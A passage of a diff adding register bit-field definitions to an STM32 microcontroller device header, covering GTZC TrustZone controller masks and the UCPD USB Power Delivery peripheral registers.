GTZC_CFGR4_TAMP_Msk +#define GTZC_TZIC1_FCR4_PWR_Pos GTZC_CFGR4_PWR_Pos +#define GTZC_TZIC1_FCR4_PWR_Msk GTZC_CFGR4_PWR_Msk +#define GTZC_TZIC1_FCR4_RCC_Pos GTZC_CFGR4_RCC_Pos +#define GTZC_TZIC1_FCR4_RCC_Msk GTZC_CFGR4_RCC_Msk +#define GTZC_TZIC1_FCR4_EXTI_Pos GTZC_CFGR4_EXTI_Pos +#define GTZC_TZIC1_FCR4_EXTI_Msk GTZC_CFGR4_EXTI_Msk +#define GTZC_TZIC1_FCR4_TZSC_Pos GTZC_CFGR4_TZSC_Pos +#define GTZC_TZIC1_FCR4_TZSC_Msk GTZC_CFGR4_TZSC_Msk +#define GTZC_TZIC1_FCR4_TZIC_Pos GTZC_CFGR4_TZIC_Pos +#define GTZC_TZIC1_FCR4_TZIC_Msk GTZC_CFGR4_TZIC_Msk +#define GTZC_TZIC1_FCR4_OCTOSPI1_MEM_Pos GTZC_CFGR4_OCTOSPI1_MEM_Pos +#define GTZC_TZIC1_FCR4_OCTOSPI1_MEM_Msk GTZC_CFGR4_OCTOSPI1_MEM_Msk +#define GTZC_TZIC1_FCR4_FMC_MEM_Pos GTZC_CFGR4_FMC_MEM_Pos +#define GTZC_TZIC1_FCR4_FMC_MEM_Msk GTZC_CFGR4_FMC_MEM_Msk +#define GTZC_TZIC1_FCR4_BKPSRAM_Pos GTZC_CFGR4_BKPSRAM_Pos +#define GTZC_TZIC1_FCR4_BKPSRAM_Msk GTZC_CFGR4_BKPSRAM_Msk +#define GTZC_TZIC1_FCR4_SRAM1_Pos GTZC_CFGR4_SRAM1_Pos +#define GTZC_TZIC1_FCR4_SRAM1_Msk GTZC_CFGR4_SRAM1_Msk +#define GTZC_TZIC1_FCR4_MPCBB1_REG_Pos GTZC_CFGR4_MPCBB1_REG_Pos +#define GTZC_TZIC1_FCR4_MPCBB1_REG_Msk GTZC_CFGR4_MPCBB1_REG_Msk +#define GTZC_TZIC1_FCR4_SRAM2_Pos GTZC_CFGR4_SRAM2_Pos +#define GTZC_TZIC1_FCR4_SRAM2_Msk GTZC_CFGR4_SRAM2_Msk +#define GTZC_TZIC1_FCR4_MPCBB2_REG_Pos GTZC_CFGR4_MPCBB2_REG_Pos +#define GTZC_TZIC1_FCR4_MPCBB2_REG_Msk GTZC_CFGR4_MPCBB2_REG_Msk +#define GTZC_TZIC1_FCR4_SRAM3_Pos GTZC_CFGR4_SRAM3_Pos +#define GTZC_TZIC1_FCR4_SRAM3_Msk GTZC_CFGR4_SRAM3_Msk +#define GTZC_TZIC1_FCR4_MPCBB3_REG_Pos GTZC_CFGR4_MPCBB3_REG_Pos +#define GTZC_TZIC1_FCR4_MPCBB3_REG_Msk GTZC_CFGR4_MPCBB3_REG_Msk + +/******************* Bits definition for GTZC_MPCBB_CR register *****************/ +#define GTZC_MPCBB_CR_GLOCK_Pos (0U) +#define GTZC_MPCBB_CR_GLOCK_Msk (0x01UL << GTZC_MPCBB_CR_GLOCK_Pos) /*!< 0x00000001 */ +#define GTZC_MPCBB_CR_INVSECSTATE_Pos (30U) +#define GTZC_MPCBB_CR_INVSECSTATE_Msk (0x01UL << GTZC_MPCBB_CR_INVSECSTATE_Pos) /*!< 0x40000000 */ +#define GTZC_MPCBB_CR_SRWILADIS_Pos (31U) +#define GTZC_MPCBB_CR_SRWILADIS_Msk (0x01UL << GTZC_MPCBB_CR_SRWILADIS_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for GTZC_MPCBB_CFGLOCKR1 register ************/ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK0_Pos (0U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK0_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK0_Pos) /*!< 0x00000001 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK1_Pos (1U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK1_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK1_Pos) /*!< 0x00000002 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK2_Pos (2U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK2_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK2_Pos) /*!< 0x00000004 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK3_Pos (3U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK3_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK3_Pos) /*!< 0x00000008 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK4_Pos (4U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK4_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK4_Pos) /*!< 0x00000010 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK5_Pos (5U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK5_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK5_Pos) /*!< 0x00000020 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK6_Pos (6U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK6_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK6_Pos) /*!< 0x00000040 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK7_Pos (7U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK7_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK7_Pos) /*!< 0x00000080 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK8_Pos (8U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK8_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK8_Pos) /*!< 0x00000100 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK9_Pos (9U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK9_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK9_Pos) /*!< 0x00000200 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK10_Pos (10U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK10_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK10_Pos) /*!< 0x00000400 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK11_Pos (11U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK11_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK11_Pos) /*!< 0x00000800 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK12_Pos (12U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK12_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK12_Pos) /*!< 0x00001000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK13_Pos (13U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK13_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK13_Pos) /*!< 0x00002000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK14_Pos (14U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK14_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK14_Pos) /*!< 0x00004000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK15_Pos (15U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK15_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK15_Pos) /*!< 0x00008000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK16_Pos (16U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK16_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK16_Pos) /*!< 0x00010000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK17_Pos (17U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK17_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK17_Pos) /*!< 0x00020000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK18_Pos (18U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK18_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK18_Pos) /*!< 0x00040000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK19_Pos (19U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK19_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK19_Pos) /*!< 0x00080000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK20_Pos (20U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK20_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK20_Pos) /*!< 0x00100000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK21_Pos (21U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK21_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK21_Pos) /*!< 0x00200000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK22_Pos (22U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK22_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK22_Pos) /*!< 0x00400000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK23_Pos (23U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK23_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK23_Pos) /*!< 0x00800000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK24_Pos (24U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK24_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK24_Pos) /*!< 0x01000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK25_Pos (25U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK25_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK25_Pos) /*!< 0x02000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK26_Pos (26U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK26_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK26_Pos) /*!< 0x04000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK27_Pos (27U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK27_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK27_Pos) /*!< 0x08000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK28_Pos (28U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK28_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK28_Pos) /*!< 0x10000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK29_Pos (29U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK29_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK29_Pos) /*!< 0x20000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK30_Pos (30U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK30_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK30_Pos) /*!< 0x40000000 */ +#define GTZC_MPCBB_CFGLOCKR1_SPLCK31_Pos (31U) +#define GTZC_MPCBB_CFGLOCKR1_SPLCK31_Msk (0x01UL << GTZC_MPCBB_CFGLOCKR1_SPLCK31_Pos) /*!< 0x80000000 */ + + +/******************************************************************************/ +/* */ +/* UCPD */ +/* */ +/******************************************************************************/ +/******************** Bits definition for UCPD_CFG1 register *******************/ +#define UCPD_CFG1_HBITCLKDIV_Pos (0U) +#define UCPD_CFG1_HBITCLKDIV_Msk (0x3FUL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x0000003F */ +#define UCPD_CFG1_HBITCLKDIV UCPD_CFG1_HBITCLKDIV_Msk /*!< Number of cycles (minus 1) for a half bit clock */ +#define UCPD_CFG1_HBITCLKDIV_0 (0x01UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000001 */ +#define UCPD_CFG1_HBITCLKDIV_1 (0x02UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000002 */ +#define UCPD_CFG1_HBITCLKDIV_2 (0x04UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000004 */ +#define UCPD_CFG1_HBITCLKDIV_3 (0x08UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000008 */ +#define UCPD_CFG1_HBITCLKDIV_4 (0x10UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000010 */ +#define UCPD_CFG1_HBITCLKDIV_5 (0x20UL << UCPD_CFG1_HBITCLKDIV_Pos) /*!< 0x00000020 */ +#define UCPD_CFG1_IFRGAP_Pos (6U) +#define UCPD_CFG1_IFRGAP_Msk (0x1FUL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x000007C0 */ +#define UCPD_CFG1_IFRGAP UCPD_CFG1_IFRGAP_Msk /*!< Clock divider value to generates Interframe gap */ +#define UCPD_CFG1_IFRGAP_0 (0x01UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000040 */ +#define UCPD_CFG1_IFRGAP_1 (0x02UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000080 */ +#define UCPD_CFG1_IFRGAP_2 (0x04UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000100 */ +#define UCPD_CFG1_IFRGAP_3 (0x08UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000200 */ +#define UCPD_CFG1_IFRGAP_4 (0x10UL << UCPD_CFG1_IFRGAP_Pos) /*!< 0x00000400 */ +#define UCPD_CFG1_TRANSWIN_Pos (11U) +#define UCPD_CFG1_TRANSWIN_Msk (0x1FUL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x0000F800 */ +#define UCPD_CFG1_TRANSWIN UCPD_CFG1_TRANSWIN_Msk /*!< Number of cycles (minus 1) of the half bit clock */ +#define UCPD_CFG1_TRANSWIN_0 (0x01UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00000800 */ +#define UCPD_CFG1_TRANSWIN_1 (0x02UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00001000 */ +#define UCPD_CFG1_TRANSWIN_2 (0x04UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00002000 */ +#define UCPD_CFG1_TRANSWIN_3 (0x08UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00004000 */ +#define UCPD_CFG1_TRANSWIN_4 (0x10UL << UCPD_CFG1_TRANSWIN_Pos) /*!< 0x00008000 */ +#define UCPD_CFG1_PSC_UCPDCLK_Pos (17U) +#define UCPD_CFG1_PSC_UCPDCLK_Msk (0x7UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x000E0000 */ +#define UCPD_CFG1_PSC_UCPDCLK UCPD_CFG1_PSC_UCPDCLK_Msk /*!< Prescaler for UCPDCLK */ +#define UCPD_CFG1_PSC_UCPDCLK_0 (0x1UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x00020000 */ +#define UCPD_CFG1_PSC_UCPDCLK_1 (0x2UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x00040000 */ +#define UCPD_CFG1_PSC_UCPDCLK_2 (0x4UL << UCPD_CFG1_PSC_UCPDCLK_Pos) /*!< 0x00080000 */ +#define UCPD_CFG1_RXORDSETEN_Pos (20U) +#define UCPD_CFG1_RXORDSETEN_Msk (0x1FFUL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x1FF00000 */ +#define UCPD_CFG1_RXORDSETEN UCPD_CFG1_RXORDSETEN_Msk /*!< Receiver ordered set detection enable */ +#define UCPD_CFG1_RXORDSETEN_0 (0x001UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00100000 */ +#define UCPD_CFG1_RXORDSETEN_1 (0x002UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00200000 */ +#define UCPD_CFG1_RXORDSETEN_2 (0x004UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00400000 */ +#define UCPD_CFG1_RXORDSETEN_3 (0x008UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x00800000 */ +#define UCPD_CFG1_RXORDSETEN_4 (0x010UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x01000000 */ +#define UCPD_CFG1_RXORDSETEN_5 (0x020UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x02000000 */ +#define UCPD_CFG1_RXORDSETEN_6 (0x040UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x04000000 */ +#define UCPD_CFG1_RXORDSETEN_7 (0x080UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x08000000 */ +#define UCPD_CFG1_RXORDSETEN_8 (0x100UL << UCPD_CFG1_RXORDSETEN_Pos) /*!< 0x10000000 */ +#define UCPD_CFG1_TXDMAEN_Pos (29U) +#define UCPD_CFG1_TXDMAEN_Msk (0x1UL << UCPD_CFG1_TXDMAEN_Pos) /*!< 0x20000000 */ +#define UCPD_CFG1_TXDMAEN UCPD_CFG1_TXDMAEN_Msk /*!< DMA transmission requests enable */ +#define UCPD_CFG1_RXDMAEN_Pos (30U) +#define UCPD_CFG1_RXDMAEN_Msk (0x1UL << UCPD_CFG1_RXDMAEN_Pos) /*!< 0x40000000 */ +#define UCPD_CFG1_RXDMAEN UCPD_CFG1_RXDMAEN_Msk /*!< DMA reception requests enable */ +#define UCPD_CFG1_UCPDEN_Pos (31U) +#define UCPD_CFG1_UCPDEN_Msk (0x1UL << UCPD_CFG1_UCPDEN_Pos) /*!< 0x80000000 */ +#define UCPD_CFG1_UCPDEN UCPD_CFG1_UCPDEN_Msk /*!< USB Power Delivery Block Enable */ + +/******************** Bits definition for UCPD_CFG2 register *******************/ +#define UCPD_CFG2_RXFILTDIS_Pos (0U) +#define UCPD_CFG2_RXFILTDIS_Msk (0x1UL << UCPD_CFG2_RXFILTDIS_Pos) /*!< 0x00000001 */ +#define UCPD_CFG2_RXFILTDIS UCPD_CFG2_RXFILTDIS_Msk /*!< Enables an Rx pre-filter for the BMC decoder */ +#define UCPD_CFG2_RXFILT2N3_Pos (1U) +#define UCPD_CFG2_RXFILT2N3_Msk (0x1UL << UCPD_CFG2_RXFILT2N3_Pos) /*!< 0x00000002 */ +#define UCPD_CFG2_RXFILT2N3 UCPD_CFG2_RXFILT2N3_Msk /*!< Controls the sampling method for an Rx pre-filter for the BMC decode */ +#define UCPD_CFG2_FORCECLK_Pos (2U) +#define UCPD_CFG2_FORCECLK_Msk (0x1UL << UCPD_CFG2_FORCECLK_Pos) /*!< 0x00000004 */ +#define UCPD_CFG2_FORCECLK UCPD_CFG2_FORCECLK_Msk /*!< Controls forcing of the clock request UCPDCLK_REQ */ +#define UCPD_CFG2_WUPEN_Pos (3U) +#define UCPD_CFG2_WUPEN_Msk (0x1UL << UCPD_CFG2_WUPEN_Pos) /*!< 0x00000008 */ +#define UCPD_CFG2_WUPEN UCPD_CFG2_WUPEN_Msk /*!< Wakeup from STOP enable */ +#define UCPD_CFG2_RXAFILTEN_Pos (8U) +#define UCPD_CFG2_RXAFILTEN_Msk (0x1UL << UCPD_CFG2_RXAFILTEN_Pos) /*!< 0x00000100 */ +#define UCPD_CFG2_RXAFILTEN UCPD_CFG2_RXAFILTEN_Msk /*!< Rx analog filter enable */ + +/******************** Bits definition for UCPD_CFG3 register *******************/ +#define UCPD_CFG3_TRIM_CC1_RD_Pos (0U) +#define UCPD_CFG3_TRIM_CC1_RD_Msk (0xFUL << UCPD_CFG3_TRIM_CC1_RD_Pos) /*!< 0x0000000F */ +#define UCPD_CFG3_TRIM_CC1_RD UCPD_CFG3_TRIM_CC1_RD_Msk /*!< SW trim value for RD resistor (CC1) */ +#define UCPD_CFG3_TRIM_CC1_RP_Pos (9U) +#define UCPD_CFG3_TRIM_CC1_RP_Msk (0xFUL << UCPD_CFG3_TRIM_CC1_RP_Pos) /*!< 0x00001E00 */ +#define UCPD_CFG3_TRIM_CC1_RP UCPD_CFG3_TRIM_CC1_RP_Msk /*!< SW trim value for RP current sources (CC1) */ +#define UCPD_CFG3_TRIM_CC2_RD_Pos (16U) +#define UCPD_CFG3_TRIM_CC2_RD_Msk (0xFUL << UCPD_CFG3_TRIM_CC2_RD_Pos) /*!< 0x000F0000 */ +#define UCPD_CFG3_TRIM_CC2_RD UCPD_CFG3_TRIM_CC2_RD_Msk /*!< SW trim value for RD resistor (CC2) */ +#define UCPD_CFG3_TRIM_CC2_RP_Pos (25U) +#define UCPD_CFG3_TRIM_CC2_RP_Msk (0xFUL << UCPD_CFG3_TRIM_CC2_RP_Pos) /*!< 0x1E000000 */ +#define UCPD_CFG3_TRIM_CC2_RP UCPD_CFG3_TRIM_CC2_RP_Msk /*!< SW trim value for RP current sources (CC2) */ + +/******************** Bits definition for UCPD_CR register ********************/ +#define UCPD_CR_TXMODE_Pos (0U) +#define UCPD_CR_TXMODE_Msk (0x3UL << UCPD_CR_TXMODE_Pos) /*!< 0x00000003 */ +#define UCPD_CR_TXMODE UCPD_CR_TXMODE_Msk /*!< Type of Tx packet */ +#define UCPD_CR_TXMODE_0 (0x1UL << UCPD_CR_TXMODE_Pos) /*!< 0x00000001 */ +#define UCPD_CR_TXMODE_1 (0x2UL << UCPD_CR_TXMODE_Pos) /*!< 0x00000002 */ +#define UCPD_CR_TXSEND_Pos (2U) +#define UCPD_CR_TXSEND_Msk (0x1UL << UCPD_CR_TXSEND_Pos) /*!< 0x00000004 */ +#define UCPD_CR_TXSEND UCPD_CR_TXSEND_Msk /*!< Type of Tx packet */ +#define UCPD_CR_TXHRST_Pos (3U) +#define UCPD_CR_TXHRST_Msk (0x1UL << UCPD_CR_TXHRST_Pos) /*!< 0x00000008 */ +#define UCPD_CR_TXHRST UCPD_CR_TXHRST_Msk /*!< Command to send a Tx Hard Reset */ +#define UCPD_CR_RXMODE_Pos (4U) +#define UCPD_CR_RXMODE_Msk (0x1UL << UCPD_CR_RXMODE_Pos) /*!< 0x00000010 */ +#define UCPD_CR_RXMODE UCPD_CR_RXMODE_Msk /*!< Receiver mode */ +#define UCPD_CR_PHYRXEN_Pos (5U) +#define UCPD_CR_PHYRXEN_Msk (0x1UL << UCPD_CR_PHYRXEN_Pos) /*!< 0x00000020 */ +#define UCPD_CR_PHYRXEN UCPD_CR_PHYRXEN_Msk /*!< Controls enable of USB Power Delivery receiver */ +#define UCPD_CR_PHYCCSEL_Pos (6U) +#define UCPD_CR_PHYCCSEL_Msk (0x1UL << UCPD_CR_PHYCCSEL_Pos) /*!< 0x00000040 */ +#define UCPD_CR_PHYCCSEL UCPD_CR_PHYCCSEL_Msk /*!< */ +#define UCPD_CR_ANASUBMODE_Pos (7U) +#define UCPD_CR_ANASUBMODE_Msk (0x3UL << UCPD_CR_ANASUBMODE_Pos) /*!< 0x00000180 */ +#define UCPD_CR_ANASUBMODE UCPD_CR_ANASUBMODE_Msk /*!< Analog PHY sub-mode */ +#define UCPD_CR_ANASUBMODE_0 (0x1UL << UCPD_CR_ANASUBMODE_Pos) /*!< 0x00000080 */ +#define UCPD_CR_ANASUBMODE_1 (0x2UL << UCPD_CR_ANASUBMODE_Pos) /*!< 0x00000100 */ +#define UCPD_CR_ANAMODE_Pos (9U) +#define UCPD_CR_ANAMODE_Msk (0x1UL << UCPD_CR_ANAMODE_Pos) /*!< 0x00000200 */ +#define UCPD_CR_ANAMODE UCPD_CR_ANAMODE_Msk /*!< Analog PHY working mode */ +#define UCPD_CR_CCENABLE_Pos (10U) +#define UCPD_CR_CCENABLE_Msk (0x3UL << UCPD_CR_CCENABLE_Pos) /*!< 0x00000C00 */ +#define UCPD_CR_CCENABLE UCPD_CR_CCENABLE_Msk /*!< */ +#define UCPD_CR_CCENABLE_0 (0x1UL << UCPD_CR_CCENABLE_Pos) /*!< 0x00000400 */ +#define UCPD_CR_CCENABLE_1 (0x2UL << UCPD_CR_CCENABLE_Pos) /*!< 0x00000800 */ +#define UCPD_CR_USEEXTPHY_Pos (12U) +#define UCPD_CR_USEEXTPHY_Msk (0x1UL << UCPD_CR_USEEXTPHY_Pos) /*!< 0x00001000 */ +#define UCPD_CR_USEEXTPHY UCPD_CR_USEEXTPHY_Msk /*!< Controls enable of USB Power Delivery transmitter */ +#define UCPD_CR_CC2VCONNEN_Pos (13U) +#define UCPD_CR_CC2VCONNEN_Msk (0x1UL << UCPD_CR_CC2VCONNEN_Pos) /*!< 0x00002000 */ +#define UCPD_CR_CC2VCONNEN UCPD_CR_CC2VCONNEN_Msk /*!< VCONN enable for CC2 */ +#define UCPD_CR_CC1VCONNEN_Pos (14U) +#define UCPD_CR_CC1VCONNEN_Msk (0x1UL << UCPD_CR_CC1VCONNEN_Pos) /*!< 0x00004000 */ +#define UCPD_CR_CC1VCONNEN UCPD_CR_CC1VCONNEN_Msk /*!< VCONN enable for CC1 */ +#define UCPD_CR_DBATEN_Pos (15U) +#define UCPD_CR_DBATEN_Msk (0x1UL << UCPD_CR_DBATEN_Pos) /*!< 0x00008000 */ +#define UCPD_CR_DBATEN UCPD_CR_DBATEN_Msk /*!< Enable dead battery behavior (Active High) */ +#define UCPD_CR_FRSRXEN_Pos (16U) +#define UCPD_CR_FRSRXEN_Msk (0x1UL << UCPD_CR_FRSRXEN_Pos) /*!< 0x00010000 */ +#define UCPD_CR_FRSRXEN UCPD_CR_FRSRXEN_Msk /*!< Enable FRS request detection function */ +#define UCPD_CR_FRSTX_Pos (17U) +#define UCPD_CR_FRSTX_Msk (0x1UL << UCPD_CR_FRSTX_Pos) /*!< 0x00020000 */ +#define UCPD_CR_FRSTX UCPD_CR_FRSTX_Msk /*!< Signal Fast Role Swap request */ +#define UCPD_CR_RDCH_Pos (18U) +#define UCPD_CR_RDCH_Msk (0x1UL << UCPD_CR_RDCH_Pos) /*!< 0x00040000 */ +#define UCPD_CR_RDCH UCPD_CR_RDCH_Msk /*!< */ +#define UCPD_CR_RPUSBABSENT_Pos (19U) +#define UCPD_CR_RPUSBABSENT_Msk (0x1UL << UCPD_CR_RPUSBABSENT_Pos) /*!< 0x00080000 */ +#define UCPD_CR_RPUSBABSENT UCPD_CR_RPUSBABSENT_Msk /*!< */ +#define UCPD_CR_CC1TCDIS_Pos (20U) +#define UCPD_CR_CC1TCDIS_Msk (0x1UL << UCPD_CR_CC1TCDIS_Pos) /*!< 0x00100000 */ +#define UCPD_CR_CC1TCDIS UCPD_CR_CC1TCDIS_Msk /*!< The bit allows the Type-C detector for CC0 to be disabled. */ +#define UCPD_CR_CC2TCDIS_Pos (21U) +#define UCPD_CR_CC2TCDIS_Msk (0x1UL << UCPD_CR_CC2TCDIS_Pos) /*!< 0x00200000 */ +#define UCPD_CR_CC2TCDIS UCPD_CR_CC2TCDIS_Msk /*!< The bit allows the Type-C detector for CC2 to be disabled. */ + +/******************** Bits definition for UCPD_IMR register *******************/ +#define UCPD_IMR_TXISIE_Pos (0U) +#define UCPD_IMR_TXISIE_Msk (0x1UL << UCPD_IMR_TXISIE_Pos) /*!< 0x00000001 */ +#define UCPD_IMR_TXISIE UCPD_IMR_TXISIE_Msk /*!< Enable TXIS interrupt */ +#define UCPD_IMR_TXMSGDISCIE_Pos (1U) +#define UCPD_IMR_TXMSGDISCIE_Msk (0x1UL << UCPD_IMR_TXMSGDISCIE_Pos) /*!< 0x00000002 */ +#define UCPD_IMR_TXMSGDISCIE UCPD_IMR_TXMSGDISCIE_Msk /*!< Enable TXMSGDISC interrupt */ +#define UCPD_IMR_TXMSGSENTIE_Pos (2U) +#define UCPD_IMR_TXMSGSENTIE_Msk (0x1UL << UCPD_IMR_TXMSGSENTIE_Pos) /*!< 0x00000004 */ +#define UCPD_IMR_TXMSGSENTIE UCPD_IMR_TXMSGSENTIE_Msk /*!< Enable TXMSGSENT interrupt */ +#define UCPD_IMR_TXMSGABTIE_Pos (3U) +#define UCPD_IMR_TXMSGABTIE_Msk (0x1UL << UCPD_IMR_TXMSGABTIE_Pos) /*!< 0x00000008 */ +#define UCPD_IMR_TXMSGABTIE UCPD_IMR_TXMSGABTIE_Msk /*!< Enable TXMSGABT interrupt */ +#define UCPD_IMR_HRSTDISCIE_Pos (4U) +#define UCPD_IMR_HRSTDISCIE_Msk (0x1UL << UCPD_IMR_HRSTDISCIE_Pos) /*!< 0x00000010 */ +#define UCPD_IMR_HRSTDISCIE UCPD_IMR_HRSTDISCIE_Msk /*!< Enable HRSTDISC interrupt */ +#define UCPD_IMR_HRSTSENTIE_Pos (5U) +#define UCPD_IMR_HRSTSENTIE_Msk (0x1UL << UCPD_IMR_HRSTSENTIE_Pos) /*!< 0x00000020 */ +#define UCPD_IMR_HRSTSENTIE UCPD_IMR_HRSTSENTIE_Msk /*!< Enable HRSTSENT interrupt */ +#define UCPD_IMR_TXUNDIE_Pos (6U) +#define UCPD_IMR_TXUNDIE_Msk (0x1UL << UCPD_IMR_TXUNDIE_Pos) /*!< 0x00000040 */ +#define UCPD_IMR_TXUNDIE UCPD_IMR_TXUNDIE_Msk /*!< Enable TXUND interrupt */ +#define UCPD_IMR_RXNEIE_Pos (8U) +#define UCPD_IMR_RXNEIE_Msk (0x1UL << UCPD_IMR_RXNEIE_Pos) /*!< 0x00000100 */ +#define UCPD_IMR_RXNEIE UCPD_IMR_RXNEIE_Msk /*!< Enable RXNE interrupt */ +#define UCPD_IMR_RXORDDETIE_Pos (9U) +#define UCPD_IMR_RXORDDETIE_Msk (0x1UL << UCPD_IMR_RXORDDETIE_Pos) /*!< 0x00000200 */ +#define UCPD_IMR_RXORDDETIE UCPD_IMR_RXORDDETIE_Msk 